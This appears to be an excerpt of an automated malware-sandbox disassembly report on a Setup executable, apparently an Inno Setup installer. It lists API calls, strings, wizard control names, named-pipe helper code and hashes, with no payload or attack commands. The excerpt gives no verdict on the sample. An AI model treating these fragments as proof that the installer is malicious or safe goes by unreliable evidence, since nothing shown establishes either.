GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044E6AB
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044E6BD
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044E6CF
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044E6E1
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044E6F3
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044E705
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044E717
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044E729
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044E73B
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044E74D
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044E75F
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044E771
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044E783
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044E795
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044E7A7
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044E7B9
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044E7CB
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044E7DD
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044E7EF
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044E801
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044E813

Strings

GetThemeInt, xrefs: 0044E625
DrawThemeText, xrefs: 0044E505
GetThemeSysColor, xrefs: 0044E6D9
IsAppThemed, xrefs: 0044E769
GetThemeEnumValue, xrefs: 0044E637
GetThemeString, xrefs: 0044E601
GetThemeColor, xrefs: 0044E5DD
uxtheme.dll, xrefs: 0044E4BA
HitTestThemeBackground, xrefs: 0044E583
GetThemeFont, xrefs: 0044E65B
IsThemeActive, xrefs: 0044E757
DrawThemeIcon, xrefs: 0044E5A7
GetThemeSysFont, xrefs: 0044E721
EnableThemeDialogTexture, xrefs: 0044E78D
CloseThemeData, xrefs: 0044E4E1
IsThemeBackgroundPartiallyTransparent, xrefs: 0044E5CB
OpenThemeData, xrefs: 0044E4CF
GetThemeMargins, xrefs: 0044E67F
IsThemePartDefined, xrefs: 0044E5B9
SetWindowTheme, xrefs: 0044E6B5
GetThemeSysString, xrefs: 0044E733
GetThemeBackgroundRegion, xrefs: 0044E571
GetThemeTextExtent, xrefs: 0044E54D
GetThemePartSize, xrefs: 0044E53B
DrawThemeBackground, xrefs: 0044E4F3
DrawThemeEdge, xrefs: 0044E595
GetThemeBool, xrefs: 0044E613
GetThemeAppProperties, xrefs: 0044E7B1
GetThemePropertyOrigin, xrefs: 0044E6A3
DrawThemeParentBackground, xrefs: 0044E7F9
GetThemeSysColorBrush, xrefs: 0044E6EB
IsThemeDialogTextureEnabled, xrefs: 0044E79F
GetThemeBackgroundContentRect, xrefs: 0044E517, 0044E529
GetWindowTheme, xrefs: 0044E77B
GetThemeSysBool, xrefs: 0044E6FD
SetThemeAppProperties, xrefs: 0044E7C3
GetThemeIntList, xrefs: 0044E691
GetCurrentThemeName, xrefs: 0044E7D5
GetThemeDocumentationProperty, xrefs: 0044E7E7
GetThemePosition, xrefs: 0044E649
GetThemeSysInt, xrefs: 0044E745
GetThemeMetric, xrefs: 0044E5EF
GetThemeTextMetrics, xrefs: 0044E55F
EnableTheming, xrefs: 0044E80B
GetThemeRect, xrefs: 0044E66D
GetThemeFilename, xrefs: 0044E6C7
GetThemeSysSize, xrefs: 0044E70F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 1968650500-2910565190
Opcode ID: f32f44157766bf0ca7376e712886398224f35d6aabf246ad2ab15fd6a463e96e
Instruction ID: 1573cee0e5df621cc1ad50334154be117eb376f6ce168edfee0038aa93dcc7c6
Opcode Fuzzy Hash: f32f44157766bf0ca7376e712886398224f35d6aabf246ad2ab15fd6a463e96e
Instruction Fuzzy Hash: B8910FB1A40754AFEB00FBA7D886A2A37E4FB1570476045B7F804DF295D6789811CF2E

Function 0315404A Relevance: 150.6, Strings: 119, Instructions: 1881COMMON

Download Yara Rule

Strings

@, xrefs: 03155757
h, xrefs: 03155617
8, xrefs: 03154947
f, xrefs: 03154F11
j, xrefs: 03155607
W, xrefs: 031541BF
?, xrefs: 03155150
4, xrefs: 031555DF
(, xrefs: 03154AD4
D, xrefs: 03155DCC
W, xrefs: 03154D32
d, xrefs: 03154F1B
., xrefs: 031555BF
N, xrefs: 03155727
\, xrefs: 031559DF
S, xrefs: 03154D52
v, xrefs: 031556E7
x, xrefs: 0315430B
W, xrefs: 03155340
<, xrefs: 03154967
*, xrefs: 031549B7
N, xrefs: 03155A4F
, xrefs: 03154987
<, xrefs: 03155937
d, xrefs: 03155677
^, xrefs: 03154D6A
P, xrefs: 0315468A
], xrefs: 03154D62
J, xrefs: 03155707
", xrefs: 03154977
k, xrefs: 03154B61
f, xrefs: 0315554A
o, xrefs: 03155A57
_, xrefs: 03154D72
r, xrefs: 031556C7
9, xrefs: 03155967
", xrefs: 031540AB
d, xrefs: 0315555A
(, xrefs: 031558F7
I, xrefs: 03155350
J, xrefs: 03155917
~, xrefs: 03154135
D, xrefs: 031553A8
F, xrefs: 03155A0F
z, xrefs: 03155687
-, xrefs: 031558E7
W, xrefs: 03155542
}, xrefs: 031559E7
u, xrefs: 03154306
?, xrefs: 03155977
f, xrefs: 03155667
$, xrefs: 031549A7
B, xrefs: 03155747
J, xrefs: 031547B0
G, xrefs: 0315576F
M, xrefs: 03155370
., xrefs: 03155358
A, xrefs: 03155390
x, xrefs: 03154F07
;, xrefs: 03155927
@, xrefs: 03155A3F
t, xrefs: 031556F7
", xrefs: 031555FF
!, xrefs: 031555EF
p, xrefs: 031556D7
b, xrefs: 03155647
D, xrefs: 03155B5A
C, xrefs: 031553A0
b, xrefs: 03154F25
, xrefs: 03155155
L, xrefs: 03155A5F
>, xrefs: 03154957
`, xrefs: 03155657
&, xrefs: 03154997
x, xrefs: 03155697
K, xrefs: 03155360
H, xrefs: 03155717
h, xrefs: 03154B69
", xrefs: 03155907
d, xrefs: 031541B7
M, xrefs: 03155A67
X, xrefs: 031559FF
B, xrefs: 03155A2F
~, xrefs: 031556A7
Z, xrefs: 031559EF
B, xrefs: 03155957
S, xrefs: 03154E16
M, xrefs: 03154E06
I, xrefs: 03155947
V, xrefs: 0315598F
\, xrefs: 0315445B
U, xrefs: 03155330
D, xrefs: 03155DBF
J, xrefs: 03155A6F
%, xrefs: 031549AF
e, xrefs: 03154F20
`, xrefs: 03155048
E, xrefs: 031553B0
^, xrefs: 031559CF
V, xrefs: 03154583
D, xrefs: 03155777
O, xrefs: 03155380
|, xrefs: 031556B7
), xrefs: 03154ADC
T, xrefs: 0315599F
F, xrefs: 03155767
P, xrefs: 031559BF
n, xrefs: 03155627
z, xrefs: 03154EFD
I, xrefs: 031547AB
j, xrefs: 03154B59
l, xrefs: 03155637
g, xrefs: 03155552
/, xrefs: 031555AF
Q, xrefs: 03154D42
L, xrefs: 03154ACC
R, xrefs: 031559AF
D, xrefs: 03155A1F
L, xrefs: 03155737

Memory Dump Source

Source File: 00000000.00000002.4557578414.0000000003140000.00000040.00001000.00020000.00000000.sdmp, Offset: 03140000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3140000_Setup.jbxd

Yara matches

Similarity

API ID:
String ID: $ $!$"$"$"$"$$$%$&$($($)$*$-$.$.$/$4$8$9$;$<$<$>$?$?$@$@$A$B$B$B$C$D$D$D$D$D$D$E$F$F$G$H$I$I$I$J$J$J$J$K$L$L$L$M$M$M$N$N$O$P$P$Q$R$S$S$T$U$V$V$W$W$W$W$X$Z$\$\$]$^$^$_$`$`$b$b$d$d$d$d$e$f$f$f$g$h$h$j$j$k$l$n$o$p$r$t$u$v$x$x$x$z$z$|$}$~$~
API String ID: 0-2503919036
Opcode ID: b2c5e26ff4be2ba82cba879822c227a336d482bd21ced00dd13a64c9f0e8b829
Instruction ID: 82e6e59ca252a518ddd222c42e0b4e0ab2be0546b48312ccfa5983dfb99ead79
Opcode Fuzzy Hash: b2c5e26ff4be2ba82cba879822c227a336d482bd21ced00dd13a64c9f0e8b829
Instruction Fuzzy Hash: E0039F7550C7C0CBD324DB38C4583AEBBD1AB9A314F098A6DE8E98B3D2D77984458B53

Function 004900DC Relevance: 136.6, APIs: 22, Strings: 55, Instructions: 1871COMMON

Download Yara Rule

Strings

GETCMDTAIL, xrefs: 004905DB
REGQUERYSTRINGVALUE, xrefs: 00490D65
ISADMINLOGGEDON, xrefs: 0049159B
ADDQUOTES, xrefs: 00490701
USINGWINNT, xrefs: 00490929
CHARLENGTH, xrefs: 00491674
SETNTFSCOMPRESSION, xrefs: 004916B5
GETSHORTNAME, xrefs: 00490771
REGWRITEDWORDVALUE, xrefs: 004913E7
REGGETVALUENAMES, xrefs: 00490CF8
SETINIBOOL, xrefs: 004904B0
REGQUERYMULTISTRINGVALUE, xrefs: 00490E27
GETTEMPDIR, xrefs: 00490826
REGWRITEMULTISTRINGVALUE, xrefs: 004912DD
ISINISECTIONEMPTY, xrefs: 0049038E
DIREXISTS, xrefs: 0049015C
GETENV, xrefs: 004905A3
STRINGCHANGE, xrefs: 0049084E
STRINGCHANGEEX, xrefs: 004908B5
GETSYSWOW64DIR, xrefs: 004907FE
REGDELETEKEYINCLUDINGSUBKEYS, xrefs: 00490B30
REGGETSUBKEYNAMES, xrefs: 00490C8B
PARAMCOUNT, xrefs: 00490603
REGQUERYBINARYVALUE, xrefs: 00490FC6
FONTEXISTS, xrefs: 004915E3
PARAMSTR, xrefs: 00490627
GETWINDIR, xrefs: 004907AE
REGWRITESTRINGVALUE, xrefs: 004910E5
REMOVEBACKSLASHUNLESSROOT, xrefs: 004906C9
REGQUERYDWORDVALUE, xrefs: 00490EE9
REGWRITEEXPANDSTRINGVALUE, xrefs: 004911FC
GETINISTRING, xrefs: 004901CE
SETINIINT, xrefs: 00490445
REGVALUEEXISTS, xrefs: 00490A8E
INIKEYEXISTS, xrefs: 00490332
REGDELETEKEYIFEMPTY, xrefs: 00490B8B
REGWRITEBINARYVALUE, xrefs: 004914BB
ISPOWERUSERLOGGEDON, xrefs: 004915BF
REGDELETEVALUE, xrefs: 00490BE6
GETINIINT, xrefs: 00490242
REMOVEQUOTES, xrefs: 00490739
FILEORDIREXISTS, xrefs: 00490195
GETSYSTEMDIR, xrefs: 004907D6
DELETEINIENTRY, xrefs: 0049051B
ADDPERIOD, xrefs: 0049163C
ADDBACKSLASH, xrefs: 00490659
DELETEINISECTION, xrefs: 00490569
CONVERTPERCENTSTR, xrefs: 004909D0
FILEEXISTS, xrefs: 00490123
FILECOPY, xrefs: 0049094D
SETINISTRING, xrefs: 004903D6
REMOVEBACKSLASH, xrefs: 00490691
GETUILANGUAGE, xrefs: 00491617
REGKEYEXISTS, xrefs: 00490A11
GETINIBOOL, xrefs: 004902C7

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID: ADDBACKSLASH$ADDPERIOD$ADDQUOTES$CHARLENGTH$CONVERTPERCENTSTR$DELETEINIENTRY$DELETEINISECTION$DIREXISTS$FILECOPY$FILEEXISTS$FILEORDIREXISTS$FONTEXISTS$GETCMDTAIL$GETENV$GETINIBOOL$GETINIINT$GETINISTRING$GETSHORTNAME$GETSYSTEMDIR$GETSYSWOW64DIR$GETTEMPDIR$GETUILANGUAGE$GETWINDIR$INIKEYEXISTS$ISADMINLOGGEDON$ISINISECTIONEMPTY$ISPOWERUSERLOGGEDON$PARAMCOUNT$PARAMSTR$REGDELETEKEYIFEMPTY$REGDELETEKEYINCLUDINGSUBKEYS$REGDELETEVALUE$REGGETSUBKEYNAMES$REGGETVALUENAMES$REGKEYEXISTS$REGQUERYBINARYVALUE$REGQUERYDWORDVALUE$REGQUERYMULTISTRINGVALUE$REGQUERYSTRINGVALUE$REGVALUEEXISTS$REGWRITEBINARYVALUE$REGWRITEDWORDVALUE$REGWRITEEXPANDSTRINGVALUE$REGWRITEMULTISTRINGVALUE$REGWRITESTRINGVALUE$REMOVEBACKSLASH$REMOVEBACKSLASHUNLESSROOT$REMOVEQUOTES$SETINIBOOL$SETINIINT$SETINISTRING$SETNTFSCOMPRESSION$STRINGCHANGE$STRINGCHANGEEX$USINGWINNT
API String ID: 0-948651152
Opcode ID: 331438f473381dc6124492850f3de4c9fedcd37a37899c48db14f50f0a10395a
Instruction ID: 55c9e665a3367ba4f157c1cb4b9623d8c39d3ed3e51a0427f78a804422414306
Opcode Fuzzy Hash: 331438f473381dc6124492850f3de4c9fedcd37a37899c48db14f50f0a10395a
Instruction Fuzzy Hash: 52D27174F002194BDB14FFB9C9819AEBAB9AF54304F10843BF445E735ADA38ED068799

Function 004882D0 Relevance: 105.4, Strings: 84, Instructions: 424COMMON

Download Yara Rule

Strings

InstallingPage, xrefs: 00488433
LicenseMemo, xrefs: 00488647
InfoAfterMemo, xrefs: 0048865A
FinishedPage, xrefs: 00488362
InfoBeforePage, xrefs: 0048839B
LicenseLabel1, xrefs: 00488634
PreparingErrorBitmapImage, xrefs: 004887B0
SelectDirBitmapImage, xrefs: 0048885B
SelectStartMenuFolderBrowseLabel, xrefs: 00488894
SelectProgramGroupPage, xrefs: 004883E7
FinishedLabel, xrefs: 004885D5
ComponentsList, xrefs: 00488680
SelectStartMenuFolderLabel, xrefs: 00488705
ReadyPage, xrefs: 0048840D
LicenseAcceptedRadio, xrefs: 0048873E
PasswordPage, xrefs: 00488388
NoIconsCheck, xrefs: 00488492
WelcomeLabel2, xrefs: 00488621
PrevAppDir, xrefs: 00488902
DirEdit, xrefs: 0048846C
InfoBeforeMemo, xrefs: 0048853D
PasswordEditLabel, xrefs: 004884CB
DirBrowseButton, xrefs: 00488835
SelectComponentsLabel, xrefs: 00488718
StatusLabel, xrefs: 004886B9
ReadyLabel, xrefs: 004885C2
LicensePage, xrefs: 00488375
UserInfoOrgEdit, xrefs: 0048879D
TypesCombo, xrefs: 004884F1
InfoAfterClickLabel, xrefs: 0048866D
PreparingYesRadio, xrefs: 004888A7
InfoAfterPage, xrefs: 00488446
TasksList, xrefs: 0048880F
UserInfoOrgLabel, xrefs: 0048878A
PasswordEdit, xrefs: 004884B8
ComponentsDiskSpaceLabel, xrefs: 00488693
SelectDirLabel, xrefs: 004886F2
UserInfoSerialLabel, xrefs: 004887E9
PreparingLabel, xrefs: 004887C3
FinishedHeadingLabel, xrefs: 004887D6
FilenameLabel, xrefs: 004886CC
Bevel, xrefs: 00488504
GroupBrowseButton, xrefs: 00488848
CancelButton, xrefs: 004882DD
SelectTasksPage, xrefs: 004883FA
UserInfoSerialEdit, xrefs: 004887FC
MainPanel, xrefs: 00488563
InfoBeforeClickLabel, xrefs: 00488550
AdjustLabelHeight, xrefs: 004888E5
BackButton, xrefs: 00488303
DiskSpaceLabel, xrefs: 00488459
BeveledLabel, xrefs: 004886A6
IncTopDecHeight, xrefs: 004888F6
InnerNotebook, xrefs: 00488329
UserInfoNameEdit, xrefs: 00488777
UserInfoNameLabel, xrefs: 00488764
SelectTasksLabel, xrefs: 0048872B
ProgressGauge, xrefs: 004886DF
NextButton, xrefs: 004882F0
PreparingPage, xrefs: 00488420
WizardBitmapImage, xrefs: 00488517
SelectDirBrowseLabel, xrefs: 00488881
YesRadio, xrefs: 004885E8
InnerPage, xrefs: 0048834F
UserInfoPage, xrefs: 004883AE
CurPageID, xrefs: 004888CD
WelcomeLabel1, xrefs: 0048852A
Bevel1, xrefs: 00488576
GroupEdit, xrefs: 0048847F
ReadyMemo, xrefs: 004884DE
SelectComponentsPage, xrefs: 004883D4
LicenseNotAcceptedRadio, xrefs: 00488751
SelectGroupBitmapImage, xrefs: 0048886E
SelectDirPage, xrefs: 004883C1
PageNameLabel, xrefs: 00488589
WizardSmallBitmapImage, xrefs: 004885AF
OuterNotebook, xrefs: 00488316
WelcomePage, xrefs: 0048833C
PageDescriptionLabel, xrefs: 0048859C
PasswordLabel, xrefs: 004884A5
RunList, xrefs: 00488822
PreparingNoRadio, xrefs: 004888BA
WizardBitmapImage2, xrefs: 0048860E
NoRadio, xrefs: 004885FB

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID: AdjustLabelHeight$BackButton$Bevel$Bevel1$BeveledLabel$CancelButton$ComponentsDiskSpaceLabel$ComponentsList$CurPageID$DirBrowseButton$DirEdit$DiskSpaceLabel$FilenameLabel$FinishedHeadingLabel$FinishedLabel$FinishedPage$GroupBrowseButton$GroupEdit$IncTopDecHeight$InfoAfterClickLabel$InfoAfterMemo$InfoAfterPage$InfoBeforeClickLabel$InfoBeforeMemo$InfoBeforePage$InnerNotebook$InnerPage$InstallingPage$LicenseAcceptedRadio$LicenseLabel1$LicenseMemo$LicenseNotAcceptedRadio$LicensePage$MainPanel$NextButton$NoIconsCheck$NoRadio$OuterNotebook$PageDescriptionLabel$PageNameLabel$PasswordEdit$PasswordEditLabel$PasswordLabel$PasswordPage$PreparingErrorBitmapImage$PreparingLabel$PreparingNoRadio$PreparingPage$PreparingYesRadio$PrevAppDir$ProgressGauge$ReadyLabel$ReadyMemo$ReadyPage$RunList$SelectComponentsLabel$SelectComponentsPage$SelectDirBitmapImage$SelectDirBrowseLabel$SelectDirLabel$SelectDirPage$SelectGroupBitmapImage$SelectProgramGroupPage$SelectStartMenuFolderBrowseLabel$SelectStartMenuFolderLabel$SelectTasksLabel$SelectTasksPage$StatusLabel$TasksList$TypesCombo$UserInfoNameEdit$UserInfoNameLabel$UserInfoOrgEdit$UserInfoOrgLabel$UserInfoPage$UserInfoSerialEdit$UserInfoSerialLabel$WelcomeLabel1$WelcomeLabel2$WelcomePage$WizardBitmapImage$WizardBitmapImage2$WizardSmallBitmapImage$YesRadio
API String ID: 0-2056260878
Opcode ID: 269c4404904ec314dfbadb13307364ea26d782f449608abc18a1a047a41520a6
Instruction ID: 6a0c6e3cc50fae089f37c4017cee3bd19baa47c94916ca26d17645ef2c8ccf39
Opcode Fuzzy Hash: 269c4404904ec314dfbadb13307364ea26d782f449608abc18a1a047a41520a6
Instruction Fuzzy Hash: E3C1E560398E84135BA8753A1CA7A2F50429B967443F09C7F7607EAA87CE7CEC0A434D

Function 0045B300 Relevance: 33.4, APIs: 11, Strings: 8, Instructions: 186pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0045B367
QueryPerformanceCounter.KERNEL32(?,00000000,0045B5FA,?,?,?,00000000,?,0045BC66,?,?,00000000), ref: 0045B370
GetSystemTimeAsFileTime.KERNEL32(?,?), ref: 0045B37A
GetCurrentProcessId.KERNEL32(?,?,00000000,0045B5FA,?,?,?,00000000,?,0045BC66,?,?,00000000), ref: 0045B383
CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 0045B3F9
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,?,?), ref: 0045B407
CreateFileA.KERNEL32(00000000,C0000000,00000000,0049CB70,00000003,00000000,00000000,00000000,0045B5B6), ref: 0045B44F
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,0045B5A5,?,00000000,C0000000,00000000,0049CB70,00000003,00000000,00000000,00000000,0045B5B6), ref: 0045B488

Part of subcall function 0042D73C: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D74F

CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 0045B531
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 0045B567
CloseHandle.KERNEL32(000000FF,0045B5AC,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 0045B59F

Part of subcall function 00456068: GetLastError.KERNEL32(00000000,00456AD9,00000005,00000000,00456B0E,?,?,00000000,0049E624,00000004,00000000,00000000,00000000,?,0049B049,00000000), ref: 0045606B

Strings

CreateProcess, xrefs: 0045B53A
CreateNamedPipe, xrefs: 0045B417
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 0045B3CF
i, xrefs: 0045B4E4
CreateFile, xrefs: 0045B45D
D, xrefs: 0045B4AA
SetNamedPipeHandleState, xrefs: 0045B491
helper %d 0x%x, xrefs: 0045B510

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
String ID: CreateFile$CreateNamedPipe$CreateProcess$D$SetNamedPipeHandleState$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
API String ID: 770386003-1568146631
Opcode ID: 6830b24ae3a94efd6b11fc33ffbaa102587f9a85e88eb8bf3f956d05e15bb2b6
Instruction ID: 90ae2bbad714464dc9967d762c8190e95e01ea38798280f6e45e15d3ee8f222f
Opcode Fuzzy Hash: 6830b24ae3a94efd6b11fc33ffbaa102587f9a85e88eb8bf3f956d05e15bb2b6
Instruction Fuzzy Hash: BB710270A003489EDB11DF65CC41B9EBBB8EB09715F10847AF908F7282D7785944CF69

Function 0049688C Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 308COMMON

Download Yara Rule

Strings

UPDATEICONS, xrefs: 00496A64
DISABLEDABOUTMENU, xrefs: 004969E0
BASE64ENCRYPTSTRING, xrefs: 004968B8
PROCESSMESSAGESEVENTS, xrefs: 00496A02
GETCRC32OFUNICODESTRING, xrefs: 00496BA6
EXITWINDOWSEX, xrefs: 00496BBF
GETCRC32OFFILE, xrefs: 00496B31
GETCRC32OFSTRING, xrefs: 00496B6E
RIGHTPOS, xrefs: 00496998
BASE64DECRYPTSTRING, xrefs: 004968F0
{tmp}\, xrefs: 00496AD9
DELEMPTYTREE, xrefs: 00496A1B
CUSTOMBASE64DECRYPTSTRING, xrefs: 00496960
SETUNINSTEXEICONS, xrefs: 00496ACD
CUSTOMBASE64ENCRYPTSTRING, xrefs: 00496928

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID: BASE64DECRYPTSTRING$BASE64ENCRYPTSTRING$CUSTOMBASE64DECRYPTSTRING$CUSTOMBASE64ENCRYPTSTRING$DELEMPTYTREE$DISABLEDABOUTMENU$EXITWINDOWSEX$GETCRC32OFFILE$GETCRC32OFSTRING$GETCRC32OFUNICODESTRING$PROCESSMESSAGESEVENTS$RIGHTPOS$SETUNINSTEXEICONS$UPDATEICONS${tmp}\
API String ID: 0-2453343096
Opcode ID: 42db03adff968b6718d95e7a7377fcd274d19e09ca615c4cf340837b4339a078
Instruction ID: a028983e26ad65fbede55f749bc08d7e7c528775a362dcace3cb248c7e72ff2a
Opcode Fuzzy Hash: 42db03adff968b6718d95e7a7377fcd274d19e09ca615c4cf340837b4339a078
Instruction Fuzzy Hash: 83A14F70B00218ABDF14FF6AC88195E7B65EF94704B11C97BB4859734ACA3CED0A8759

Function 004851F0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00485201
GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 0048520E
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 00485224
GetCurrentProcess.KERNEL32(?,00000000,IsWow64Process), ref: 00485230
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00485251
GetModuleHandleA.KERNEL32(advapi32.dll,RegDeleteKeyExA,00000000,GetSystemWow64DirectoryA,?,00000000,IsWow64Process), ref: 00485264
GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0048526A
GetSystemInfo.KERNEL32(?,00000000,GetNativeSystemInfo,kernel32.dll), ref: 00485281

Strings

advapi32.dll, xrefs: 0048525F
GetNativeSystemInfo, xrefs: 00485208
RegDeleteKeyExA, xrefs: 0048525A
kernel32.dll, xrefs: 004851FC
IsWow64Process, xrefs: 0048521E
GetSystemWow64DirectoryA, xrefs: 0048524B

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: AddressProc$HandleModule$CurrentInfoProcessSystem
String ID: GetNativeSystemInfo$GetSystemWow64DirectoryA$IsWow64Process$RegDeleteKeyExA$advapi32.dll$kernel32.dll
API String ID: 2195675749-2623177817
Opcode ID: ceea129222205c45fb33efb0c05c34dfb6eb3db1927ef6bfd75940f5787554e6
Instruction ID: eb8be302334516f42160d167328d0cddc8a578396df71d08508f05ab7125aba2
Opcode Fuzzy Hash: ceea129222205c45fb33efb0c05c34dfb6eb3db1927ef6bfd75940f5787554e6
Instruction Fuzzy Hash: 5F11D006444F4199CA11B3B64C4676F2A888B21389F148CBBFC40A62C3DEBC8844DF6F

